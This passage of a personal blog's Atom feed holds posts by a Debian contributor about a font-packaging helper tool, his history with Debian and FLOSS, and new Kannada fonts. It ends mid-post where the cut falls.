<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7107735130942041345</id><updated>2012-01-30T15:49:12.468-08:00</updated><category term='image resizing'/><category term='ibus'/><category term='virtualization'/><category term='winf.exe'/><category term='Twitter'/><category term='hpnadig'/><category term='packaging'/><category term='KSOAP with blackberry'/><category term='OAuth'/><category term='news'/><category term='C'/><category term='localization'/><category term='fonts'/><category term='objective c'/><category term='Ubuntu 9.10'/><category term='mandriva localization'/><category term='Sysadmin'/><category term='Konqueror'/><category term='Programming'/><category term='chrome'/><category term='fish protocol'/><category term='Audio enhancers'/><category term='css'/><category term='LINUX'/><category term='final year project idea'/><category term='python'/><category term='Debia'/><category term='Kannada'/><category term='Projects'/><category term='packet sniffer'/><category term='autobiography'/><category term='java to objective c'/><category term='vim'/><category term='Sidux'/><category term='firefox bug?'/><category term='Android'/><category term='KXML'/><category term='MinGW gcc'/><category term='engineering sudies'/><category term='http post'/><category term='SILPA'/><category term='poedit'/><category term='BlackBerry Application'/><category term='thumbnail generation in blackberry'/><category term='apache'/><category term='facebook'/><category term='sanchaya'/><category term='hack'/><category term='floss'/><category term='virtualbox installation'/><category term='emacs'/><category term='MySQL'/><category term='gdb'/><category term='C C++'/><category term='Debian'/><category term='Karmic Koala'/><category term='Stereo Tool'/><category term='parsing ehternet header'/><category term='FOSS'/><category term='insight tutorial'/><category term='GAE'/><category term='OpenOffice'/><category term='nctuns'/><category term='XML'/><category term='CSV'/><category term='Mandriva 2009'/><category term='MS'/><category term='autocomplete'/><category term='remote mysql connect'/><category term='dyndns'/><category term='yasnippet'/><category term='kde'/><category term='libxml2'/><category term='tgmc'/><category term='.NET for Linux'/><category term='jquery'/><category term='daemon process'/><category term='mandriva 2009 on Comapq presario'/><category term='autoplay'/><category term='Developers'/><category term='pcap utility'/><category term='DSP enhancer'/><category term='translation memory'/><category term='wiktionary'/><category term='ddclient'/><category term='gcc'/><category term='font help'/><category term='mono'/><category term='ubuntu'/><category term='mysql bug'/><category term='svn'/><category term='Debuggers'/><title type='text'>My Thoughts</title><subtitle type='html'>Learn &amp;amp; Share</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.copyninja.info/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>69</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2387596072408217539</id><published>2011-12-23T09:05:00.000-08:00</published><updated>2011-12-23T09:09:30.146-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='packaging'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>dh-make-font - A Font package helper for Debian</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;Recently I was doing the font transition for &lt;i&gt;ttf-indic-fonts&lt;/i&gt; in &lt;i&gt;Debian-IN&lt;/i&gt; team and by doing the same process again and again I really got bored. This boredom gave rise to this new tool called &lt;i&gt;dh-make-font. &lt;/i&gt;I wish to see it in Debian but I don't know how the font and other packaging guru's of Debian react to my novice tool :). I won't call it tool because its nothing but a simple wrapper on top of &lt;i&gt;dh_make&lt;/i&gt; which modifies the files and removes unnecessary file which is created by &lt;i&gt;dh_make&lt;/i&gt;. I want to tell how you can use this tool to easily package a font according to the &lt;i&gt;Debian Font Task Force's &lt;/i&gt;new packaging &lt;a href="http://wiki.debian.org/Fonts/PackagingPolicy"&gt;policy&lt;/a&gt;. I'll take the transition of &lt;i&gt;ttf-telugu-fonts&lt;/i&gt; as an example here.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Note that here I assume that reader has a basic knowledge on how to use dh_make and about the common files used in Debian packaging.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;First lets create a folder with name &lt;i&gt;telu-extra-1.0. &lt;/i&gt;Since most of the font upstream in case of ttf-indic-fonts are inactive &lt;i&gt;Debian-IN &lt;/i&gt;team itself acts as the upstream for these fonts so we don't have any tarballs to startwith.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Once we have created folder we will copy the font files from old ttf-telugu-fonts into &lt;i&gt;telu-extra-1.0&lt;/i&gt; folder also we will copy the &lt;i&gt;90-ttf-telugu-fonts.conf&lt;/i&gt; to our folder as &lt;i&gt;90-fonts-telu-extra.conf. &lt;/i&gt;Now we have the basic package content ready lets give a shot to &lt;i&gt;dh-make-font&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;i&gt;dh-make-font -c gpl3 --maint 'Debian-IN Team &amp;lt;debian-in-workers@lists.alioth.debian.org&amp;gt; telu-extra-1.0 &lt;/i&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Now the hard part to explain what I did :). I just ran &lt;i&gt;dh-make-font&lt;/i&gt; on &lt;i&gt;telu-extra-1.0&lt;/i&gt; folder which we prepared above. As you can see &lt;i&gt;-c&lt;/i&gt; switch is borrowed from the &lt;i&gt;dh_make&lt;/i&gt; and all values it accepts are same. You can even give long switch &lt;i&gt;--copyright&lt;/i&gt; if you wish :). &lt;i&gt;--maint &lt;/i&gt;is the new option I've provided specific to &lt;i&gt;dh-make-font&lt;/i&gt;. This option allows you to override &lt;i&gt;Maintainer &lt;/i&gt;of package. If&amp;nbsp; you don't override &lt;i&gt;Debian Fonts Task Force &lt;/i&gt;will be the maintainer. Did you ask why? Yes you guessed it right I prepared this tool to encourage people to maintain fonts as part of &lt;i&gt;Debian Fonts Task Force &lt;/i&gt;team.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Besides the above option you can also specify &lt;i&gt;-p / --package&lt;/i&gt; option to specify package name and version this will be passed over to dh_make. If you get confused just pass &lt;i&gt;-h &lt;/i&gt;or &lt;i&gt;--help &lt;/i&gt;option to the dh-make-font it will give you details :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;When you run above command we will see familiar questions appearing for us. Yes it is from &lt;i&gt;dh_make&lt;/i&gt;, use your &lt;i&gt;dh_make&lt;/i&gt; knowledge and proceed &lt;i&gt;dh_make&lt;/i&gt; and &lt;i&gt;dh-make-font&lt;/i&gt; will print few instructions on screen and our package is almost ready for Debian assuming &lt;i&gt;dh_make&lt;/i&gt; didn't find something wrong in our setup. Now we need to do few minor stuffs.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Edit the &lt;i&gt;control &lt;/i&gt;file and add the short and long descriptions remove &lt;i&gt;fontforge&lt;/i&gt; build dependency as we are not building fonts from source (.sfd files). &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. Check the &lt;i&gt;install &lt;/i&gt;and &lt;i&gt;links &lt;/i&gt;file. Links file will be created only if there is a fontconfig related file getting installed. In our case it will be present&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3. Edit the &lt;i&gt;copyright &lt;/i&gt;file and insert copyright holders name for fonts also remove dh_make template from the file. Insert a valid dep5 &lt;i&gt;Format&lt;/i&gt; uri&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now run your package building command. In my case I will use pbuilder to get my package ready. Wasn't that helpful? No I'm asking seriously please leave your thoughts and suggestion through comments and help me improve the tool.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;This tool is actually helping me a lot. Within 20 minutes I could finish of 2 packages and get them into &lt;i&gt;Debian-IN &lt;/i&gt;team repository. I hope it will help others too and also will get its place in &lt;i&gt;Debian Fonts Task Force team&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Now are you wondering where you can get the source? My bad here it is http://anonscm.debian.org/gitweb/?p=debian-in/dh-make-font.git;a=summary&lt;i&gt; &lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2387596072408217539?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/12/dh-make-font-font-package-helper-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2387596072408217539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2387596072408217539'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/12/dh-make-font-font-package-helper-for.html' title='dh-make-font - A Font package helper for Debian'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2801605298576815504</id><published>2011-12-14T08:22:00.000-08:00</published><updated>2011-12-14T08:22:50.303-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='floss'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><category scheme='http://www.blogger.com/atom/ns#' term='autobiography'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>My Journey with Debian and FLOSS - Part 2</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;In my previous &lt;a href="http://blog.copyninja.info/2011/12/my-journey-with-debian-and-floss-part-1.html"&gt;post&lt;/a&gt; I told till I packaged fonts-pagul for which RFP was filed by Santhosh. Well after that Santhosh filed one more RFP to get Eeyek font which even though I claimed for Debian-IN but I couldn't complete till date :). Well reason is that I got new job and had to shift from my home town to Bangalore. In the mean time I did manage to get aspell-kn into Debian. Funny part is I'm the upstream author of this package and I myself maintain it in Debian too. aspell dictionary for Kannada was my first upstream project after SILPA and Pypdflib. &lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Well know while explaining my life with Debian I forgot about other projects which I had done :). Yes some where in between all these packages I ported the Malayalam dictionary bot written by Santhosh and other SMC members for Kannada.&lt;/i&gt; &lt;i&gt;I added some more improvements to cache the meaning retrieved from Kannada wiktionary also I used to cache the words for which I couldn't find the meaning in wiktionary with a hope to contribute it to Kannada wiktionary people so that they can add these undefined words and make Kannada wiktionary rich. But that never happened I couldn't give enough time for Kannada wiktionary bot which still lies at &lt;b&gt;kn.dict.bot [at] jabber [dot] org&lt;/b&gt; serving meanings to people. Did I forgot to tell you that this bot has become a UNIX daemon and is monitored by monit service found in Linux. So its not only a UNIX daemon but a real zombie try killing it by giving non-sense words or whatever bot will die and will be back in a while like a Phoenix coming back from its Ash :). Psst. one secret thing I came to know is how naughty people are :D what nonsense words they send to this bot poor bot he nicely logged their email address and words :) Don't worry my intention was to give credits for undefined words but my plan was totally ruined by these people :).&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;The response I got from people for creating this bot was tremendous. I was flattered and got some more energy and inspiration to do more for people for FLOSS community. So let me continue my story now. After moving to Bangalore for a month or 2 I was totally disconnected from FLOSS and mostly from Internet. The whole misunderstanding was from my side that I thought laptop which I'll get from my new office will be installed with Debian as I am supposed to be working on the Debian itself but yes I was wrong instead I got Wind&lt;/i&gt;ows 7 &lt;i&gt;Enterprise. Sigh the OS which I hate most :(. I was not supposed to install anything other than official stuff but I did install Firefox because IE really sucks and hence with help of Chatzilla I used to get online in IRC and meet my buddies :). Did you think I got an internet connection ? No all ISP's denied me from Internet connection because I'm staying as a Paying Guest! Now I know why we say *Mera Bharat Mahan*.&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;After my first salary I managed to buy a cheap Acer Travelmate model which is Linux friendly. It came with Linpus Linux which I removed and installed Debian Wheezy and I also managed to get my HTC Wildfire USB Teathering to work with it and installed stuffs required to build Debian package. Do you think I'm 3G? Err nooo I use only 2G a broken connection from Vodafone I know how much pain I daily undergo in using it :(.&lt;/i&gt; &lt;i&gt;I said cheap but note that its Cheap in cost but for me its one the best hardware and works like a charm with Debian (no non-free blobs required!). &lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;So from Bangalore I continued my FLOSS/Debian work and started working on restructuring ttf-indic-fonts package which I self assigned to myself. Bubulle had told me that I had opened up a can of worm and now after starting to work on the package I really understand what he meant :). Its still not midway in the transition we in team Debian-IN lack man power for the work and some time I feel I'm getting buried by the burden I'm carrying&lt;/i&gt;. &lt;i&gt;But I still manage to crawl under all weight to reach my destination :).&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;During this time I had also taken additional responsibility of conducting the Mini DebConf in Mangalore area and I now being located in Bangalore had all sort of trouble communicating with my friends over in NMAMIT Nitte and in the period of time &lt;a href="http://wiki.debian.org/DebianIndia/MiniDebConf2011/MangaloreEdition"&gt;Mini DebConf Mangalore Edition&lt;/a&gt; had become a International event which I never imagined it would become.&lt;/i&gt; &lt;i&gt;In one way or other I got benefited by hosting the event I got 3 DD's to sign my PGP key which my path to become a DM easy. I don't want to explain the whole event of Mini Debconf because it would take its own space :).&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;After the event I applied for DM position my application can be found &lt;a href="http://lists.debian.org/debian-newmaint/2011/11/msg00000.html"&gt;here.&lt;/a&gt; Mine was the first application in the month of November and Kartik and Christian (bubulle) happily advocated me and I filed a bug report against debian-maintainer pseudo package by submitting a jetring changeset of my PGP key&lt;/i&gt; &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=647914"&gt;&lt;i&gt;here&lt;/i&gt;&lt;/a&gt;. &lt;i&gt;It took a while for my key to be included in debian-keyring and I officially became a Debian Maintainer on December 1 exactly one month after my application. Finally I achived one of my long term dream to become a Debian Maintainer :). Next I want to become a Debian Developer according to rules I need to wait 6 more months before I can apply to NM front desk :). Before that I want to upload my package to Debian by myself :) need to see how long it will take.&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;In between my DM process I adopted dwm which was orphaned by its previous maintainer Kai Hendry. Its a very simple window manager which is younger brother of wmii. The whole reason to adopt was my long time dream to use window manager and love towards the &lt;a href="http://suckless.org/"&gt;suckless project.&amp;nbsp;&lt;/a&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Well after becoming DM a week spent without any productivity and on 9th I started back to my home town on a week long vacation. Now writing this post from my home and working on the "can of worm which I opened"&amp;nbsp; :) Well this is a longish post but I wanted to finish this post here. Don't worry I'll write more of the parts as and when I have more story :).. Till then so long folks. &lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2801605298576815504?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/12/my-journey-with-debian-and-floss-part-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2801605298576815504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2801605298576815504'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/12/my-journey-with-debian-and-floss-part-2.html' title='My Journey with Debian and FLOSS - Part 2'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-8473371516595649875</id><published>2011-12-13T02:37:00.000-08:00</published><updated>2011-12-13T02:37:57.181-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='floss'/><category scheme='http://www.blogger.com/atom/ns#' term='Debia'/><category scheme='http://www.blogger.com/atom/ns#' term='autobiography'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>My Journey with Debian and FLOSS - Part 1</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;When I first started using Debian back in last half of 2009 I never thought I will go this far. Debian is one Linux distribution with which I felt comfortable after traveling across 10 distribution. My Linux interest started first back in 2007 when I was in engineering 3rd / 4th semester when the &lt;/i&gt;&lt;i&gt;Nirmitsu group from Bangalore conducted a day long work shop. This work shop showed me beauty of command line and existence of distribution called &lt;/i&gt;&lt;i&gt;Ubuntu and &lt;/i&gt;&lt;i&gt;Debian.&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Even though I was introduced first to &lt;/i&gt;&lt;i&gt;Ubuntu and even I got more than 20 CD's of &lt;/i&gt;&lt;i&gt;Ubuntu 6.04 it was not my first Linux distribution because of lack of internet connection and lack of the packages in&lt;/i&gt;&lt;i&gt; Ubuntu CD. My first Linux was &lt;/i&gt;&lt;i&gt;Red Hat Enterprise Linux 4 after that I moved to Red Hat Enterprise Linux 5 both these Linux were good and provided all packages in set of 4-5 CD's after that the curriculum wanted me to use Fedora and first one I tried was Fedora 8 for NCTUNS then Fedora 9 in between my college System Analyst introduced me to Mandriva 2008 and Mandriva 2009 but none of these Linux solved my problem for connecting to Internet and finally I landed on Ubuntu 8.10 which some time was allowing me to connect to internet but not always then I tried Zenwalk a Slackware derivative in the hope to getting connected to internet but there also I failed badly after searching a lot in the internet Ubuntu 9.04 finally allowed me to connect to internet. Mean while during college project I started using Debian which was introduced to us during Linux Habba conducted by then active Tech Sampada team and we had a local repo for then testing Debian Lenny (5.0) I finished my project with combination of Debian as server and Ubuntu (8.10) as client.&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;After my college time I started working for a company in Mangalore and there I was first working on Windows as Blackberry Application developer and later moved Mac OS X 10.5 as iPhone developer during the time I had a strong urge to do something and contribute to FLOSS community but I didn't had much technical skills just like other engineers who will pass out of college. So I started contributing as a Kannada translator in KDE project under guidance of Shankar Prasad later joined launchpad and tried to help in Ubuntu-Kannada translation. In the mean while the changes in Ubuntu made me unhappy I used to lose the feel of Debian which was present in Ubuntu when I first started using it. With advent of Ubuntu 9.10 I threw away the Ubuntu from my home computer and started using Debian Lenny which had become stable during the time but the old components of Lenny dissatisfied me and I took a major turn and got Sidux (now known as AptoSid) and unstable derivative of Debian. Telling it derivative will be wrong because it was Debian itself with some modifications provided by AptoSid community. Now I could connect to Internet and get all the developer tools required. During this time I was introduced to &lt;a href="http://thottingal.in/"&gt;Santhosh Thottingal&lt;/a&gt; by my friend Laxmi Narayan Kamath and I slowly and steadily jumped into development of &lt;a href="http://silpa.org.in/"&gt;SILPA&lt;/a&gt; (Swathantra Indian Language Processing Application) using Python. Python had become my favorite language. I provided many optimization fixes to SILPA and some more bug fixes which made Santhosh think I'm a valuable asset and I became the Co-Developer of SILPA. I was working in some other projects Santhosh founded like Pypdflib and also contributed in some way to his WikiSource CD project also. During this same time I started a strong urge towards helping Debian but I really didn't know where to look for starting my journey towards Debian and in the nick of time I saw mail from &lt;a href="http://j4v4m4n.in/"&gt;Praveen&lt;/a&gt; to the SMC list stating he is going to conduct a packaging work shop the Saturday night and I replied asking If I can join and he happily welcomed me. And thus under guidance of Praveen I started learning Debian packaging and Pypdflib (Santhosh's project) was the first one I choose to package being a Python library and I'm being unaware of Python packaging policy I came across many problems and Praveen by himself not able to solve connected me to &lt;a href="http://ftbfs.wordpress.com/"&gt;Kartik Mistry&lt;/a&gt; one of the most active India Debian Developer who helped me solve the problem and happily uploaded my first Debi an package to Debian (after 1 rejection from the FTP Masters) and I was the happiest man to be finally being part of Debian. The package still lies in the experimental branch of Debian which shows my sheer ignorance towards the package? (just kidding) Pypdflib is not actively under developement after we lost our most active developer Jinesh&amp;nbsp; recently. I still intend to move it to unstable from experimental. With this package I also became member of Debian-IN team, the team which maintains Indian language related fonts and other packages.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;After getting my first package into Debian my urge to package became more and more and I started searching for a good package until I came across the IndUni fonts which first I thought some sort of Indic language fonts untill I talked with the upstream author John Smith who clarified its Indology symbols inside the fonts finally I packaged it and because of this font I joined pkg-fonts-devel team and came to know the most respected person in Debian, Christian "bubulle" Perrier or in short we call him bubulle :).&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Now recalling stuffs is bit difficult but I think after this the Open Source Federated social network Diaspora* became so famous amongst us the hackers that we decided that we should package it for Debian. It was difficult because it required so many gems to package and we lacked the man power and hence Praveen started advocating people about Diaspora* and try to teach people about ruby packaging and get them to package a gem. But he was not successful people at first show very much interest file ITP and some even go till finish package and send RFS and then disappear. So this created some chaos in pkg-ruby-extras team than helping it. And finally Lucas clearly mentioned he won't sponsor any Diaspora* packagers unless they have helped in pkg-ruby-extra transition and to undo what happened because of him Praveen started helping in transition of gems in pkg-ruby-extras team. In this whole Diaspora* packaging fuss I'm the only one who managed to get 2 new gems into Debian (ruby-polyglot and ruby-bcrypt) and also helped in transition of ruby-hmac. So now packages maintained by me in Debian reached to 5. Also during this time I floated away from Diaspora* to find a new and better federated home at &lt;a href="http://friendica.com/"&gt;Friendica&lt;/a&gt; more about this later.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Mean while Santhosh filed RFP's for getting &lt;a href="http://www.kiwix.org/"&gt;Kiwix&lt;/a&gt; into Debian and I happily ITPed it back in March or April which is still a pending package from my side first due to build tool bug and now due to the reason package depends on xulrunner-1.9.1 which is no more in Debian and the upstream is still working on making it either independent of Xulrunner or make it depend on higher version of Xulrunner. The whole thing I learned during packaging fonts-johnsmith-induni and kiwix is how Debian actually helps improving the upstream. Whole lesson learned is have always a good relation with upstream.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Next was one more RFP by Santhosh for getting Pagul fonts for Saurashtra language into Debian which I claimed for Debian-IN and which is now in Debian. ( Now to continue my story in Debian give me a second I need to have a peek at what package I'm maintaining ;) ). Well I think post is already too longish so let me split into 2. Till the next part happy flossing hackers!&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-8473371516595649875?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2011/12/my-journey-with-debian-and-floss-part-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8473371516595649875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8473371516595649875'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2011/12/my-journey-with-debian-and-floss-part-1.html' title='My Journey with Debian and FLOSS - Part 1'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6132348536515768826</id><published>2011-12-11T08:57:00.001-08:00</published><updated>2011-12-11T10:11:45.044-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sanchaya'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='fonts'/><category scheme='http://www.blogger.com/atom/ns#' term='Kannada'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Kannada gets new fonts</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;b&gt;Just some background on fonts in Kannada&lt;/b&gt;&lt;/i&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;Kannada (ISO language code - kn) is widely spoken language in Karnataka. Even though we are the IT hub of India advancement of Kannada in computers is very very less. But there was some effort from some of the Open source community to make Kannada language usage in computers more and more user friendly. Of those efforts to provide a Unicode font to Kannada one was taken up by IISC Bangalore which gave to fonts &lt;i&gt;Kedage &lt;/i&gt;and &lt;i&gt;Malige &lt;/i&gt;to us but because of some controversies (which I really don't know clearly) they just GPLed both fonts and walked away. On the other hand Red Hat is maintaining &lt;i&gt;Lohit &lt;/i&gt;font family and provided us most bug free &lt;i&gt;Lohit Kannada. &lt;/i&gt;But most of the Linux geeks are not happy with appearence of &lt;i&gt;Lohit Kannada &lt;/i&gt;so every one&amp;nbsp; is happy to use &lt;i&gt;Kedage &lt;/i&gt;besides of many bugs.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As I was restructuring the &lt;i&gt;ttf-indic-fonts &lt;/i&gt;for Debian I was looking at the bugs reported against the package and I came across the bugs reported against &lt;i&gt;Kedage &lt;/i&gt;and I asked my friend &lt;a href="http://aravindavk.in/"&gt;Aravinda&lt;/a&gt; if he can fix them and maintain the font. He readily agreed and fixed the bugs in both &lt;i&gt;Kedage &lt;/i&gt;and &lt;i&gt;Malige &lt;/i&gt;and created repo of both on github. Since maintaining the &lt;i&gt;Kedage &lt;/i&gt;and &lt;i&gt;Malige &lt;/i&gt;itself is not possible because we don't have any consent from upstream finally he decided to call that a fork and now &lt;i&gt;Kedage =&amp;gt; Gubbi &lt;/i&gt;and &lt;i&gt;Malige =&amp;gt; Navilu &lt;/i&gt;both fonts are now licensed under Open Font License 1.1 (OFL) and is available in Github [1] [2].&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Gubbi -&amp;nbsp;&lt;/i&gt; &lt;i&gt;Old Kedage with new bug fixes and rendering issues fixed&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Navilu- Old Malige (Hand written fonts) with bug fixes and rendering issues fixed &lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I'm happy to announce that we now have a well maintained beautiful free fonts for Kannada and all thanks goes to Aravinda. And wait a bit more folks we have more to come :)&lt;/div&gt;&lt;br /&gt;[1] 